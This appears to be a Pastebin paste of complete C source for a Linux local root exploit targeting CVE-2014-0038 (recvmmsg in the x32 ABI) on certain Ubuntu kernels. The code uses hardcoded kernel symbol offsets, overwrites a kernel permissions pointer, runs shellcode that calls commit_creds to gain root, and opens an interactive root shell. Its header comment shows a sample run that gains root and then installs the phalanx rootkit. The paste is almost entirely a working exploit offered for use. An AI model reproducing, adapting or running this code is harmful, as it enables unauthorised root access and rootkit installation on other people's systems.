Advertisement
Guest User

Untitled

a guest
Dec 8th, 2016
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.26 KB | None | 0 0
  1. /*
  2. *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
  3. recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
  4. CVE-2014-0038 / x32 ABI with recvmmsg
  5. by rebel @ irc.smashthestack.org
  6. -----------------------------------
  7.  
  8. takes about 13 minutes to run because timeout->tv_sec is decremented
  9. once per second and 0xff*3 is 765.
  10.  
  11. some things you could do while waiting:
  12. * watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
  13. * read https://wiki.ubuntu.com/Security/Features and smirk a few times
  14. * brew some coffee
  15. * stare at the countdown giggly with anticipation
  16.  
  17. could probably whack the high bits of some pointer with nanoseconds,
  18. but that would require a bunch of nulls before the pointer and then
  19. reading an oops from dmesg which isn't that elegant.
  20.  
  21. &net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
  22.  
  23. hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
  24. anyway..
  25.  
  26. same principle will work on 32bit but I didn't really find any major
  27. distros shipping with CONFIG_X86_X32=y
  28.  
  29. user@ubuntu:~$ uname -a
  30. Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
  31. user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
  32. user@ubuntu:~$ ./recvmmsg
  33. byte 3 / 3.. ~0 secs left.
  34. w00p w00p!
  35. # id
  36. uid=0(root) gid=0(root) groups=0(root)
  37. # sh phalanx-2.6b-x86_64.sh
  38. unpacking..
  39.  
  40. :)=
  41.  
  42. greets to my homeboys kaliman, beist, capsl & all of #social
  43.  
  44. Sat Feb 1 22:15:19 CET 2014
  45. % rebel %
  46. *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
  47. */
  48.  
  49. #define _GNU_SOURCE
  50. #include <netinet/ip.h>
  51. #include <stdio.h>
  52. #include <stdlib.h>
  53. #include <string.h>
  54. #include <sys/socket.h>
  55. #include <unistd.h>
  56. #include <sys/syscall.h>
  57. #include <sys/mman.h>
  58. #include <sys/types.h>
  59. #include <sys/stat.h>
  60. #include <fcntl.h>
  61. #include <sys/utsname.h>
  62.  
  63. #define __X32_SYSCALL_BIT 0x40000000
  64. #undef __NR_recvmmsg
  65. #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
  66. #define VLEN 1
  67. #define BUFSIZE 200
  68.  
  69. int port;
  70.  
  71. struct offset {
  72. char *kernel_version;
  73. unsigned long dest; // net_sysctl_root + 96
  74. unsigned long original_value; // net_ctl_permissions
  75. unsigned long prepare_kernel_cred;
  76. unsigned long commit_creds;
  77. };
  78.  
  79. struct offset offsets[] = {
  80. {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
  81. {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
  82. {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
  83. {NULL,0,0,0,0}
  84. };
  85.  
  86. void udp(int b) {
  87. int sockfd;
  88. struct sockaddr_in servaddr,cliaddr;
  89. int s = 0xff+1;
  90.  
  91. if(fork() == 0) {
  92. while(s > 0) {
  93. fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
  94. sleep(1);
  95. s--;
  96. fprintf(stderr,".");
  97. }
  98.  
  99. sockfd = socket(AF_INET,SOCK_DGRAM,0);
  100. bzero(&servaddr,sizeof(servaddr));
  101. servaddr.sin_family = AF_INET;
  102. servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
  103. servaddr.sin_port=htons(port);
  104. sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
  105. exit(0);
  106. }
  107.  
  108. }
  109.  
  110. void trigger() {
  111. open("/proc/sys/net/core/somaxconn",O_RDONLY);
  112.  
  113. if(getuid() != 0) {
  114. fprintf(stderr,"not root, ya blew it!\n");
  115. exit(-1);
  116. }
  117.  
  118. fprintf(stderr,"w00p w00p!\n");
  119. system("/bin/sh -i");
  120. }
  121.  
  122. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  123. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  124. _commit_creds commit_creds;
  125. _prepare_kernel_cred prepare_kernel_cred;
  126.  
  127. // thx bliss
  128. static int __attribute__((regparm(3)))
  129. getroot(void *head, void * table)
  130. {
  131. commit_creds(prepare_kernel_cred(0));
  132. return -1;
  133. }
  134.  
  135. void __attribute__((regparm(3)))
  136. trampoline()
  137. {
  138. asm("mov $getroot, %rax; call *%rax;");
  139. }
  140.  
  141. int main(void)
  142. {
  143. int sockfd, retval, i;
  144. struct sockaddr_in sa;
  145. struct mmsghdr msgs[VLEN];
  146. struct iovec iovecs[VLEN];
  147. char buf[BUFSIZE];
  148. long mmapped;
  149. struct utsname u;
  150. struct offset *off = NULL;
  151.  
  152. uname(&u);
  153.  
  154. for(i=0;offsets[i].kernel_version != NULL;i++) {
  155. if(!strcmp(offsets[i].kernel_version,u.release)) {
  156. off = &offsets[i];
  157. break;
  158. }
  159. }
  160.  
  161. if(!off) {
  162. fprintf(stderr,"no offsets for this kernel version..\n");
  163. exit(-1);
  164. }
  165.  
  166. mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
  167. mmapped &= 0x000000ffffffffff;
  168.  
  169. srand(time(NULL));
  170. port = (rand() % 30000)+1500;
  171.  
  172. commit_creds = (_commit_creds)off->commit_creds;
  173. prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
  174.  
  175. mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  176.  
  177. if(mmapped == -1) {
  178. perror("mmap()");
  179. exit(-1);
  180. }
  181.  
  182. memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
  183.  
  184. memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
  185.  
  186. if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
  187. perror("mprotect()");
  188. exit(-1);
  189. }
  190.  
  191. sockfd = socket(AF_INET, SOCK_DGRAM, 0);
  192. if (sockfd == -1) {
  193. perror("socket()");
  194. exit(-1);
  195. }
  196.  
  197. sa.sin_family = AF_INET;
  198. sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  199. sa.sin_port = htons(port);
  200.  
  201. if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
  202. perror("bind()");
  203. exit(-1);
  204. }
  205.  
  206. memset(msgs, 0, sizeof(msgs));
  207.  
  208. iovecs[0].iov_base = &buf;
  209. iovecs[0].iov_len = BUFSIZE;
  210. msgs[0].msg_hdr.msg_iov = &iovecs[0];
  211. msgs[0].msg_hdr.msg_iovlen = 1;
  212.  
  213. for(i=0;i < 3 ;i++) {
  214. udp(i);
  215. retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
  216. if(!retval) {
  217. fprintf(stderr,"\nrecvmmsg() failed\n");
  218. }
  219. }
  220.  
  221. close(sockfd);
  222.  
  223. fprintf(stderr,"\n");
  224.  
  225. trigger();
  226. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement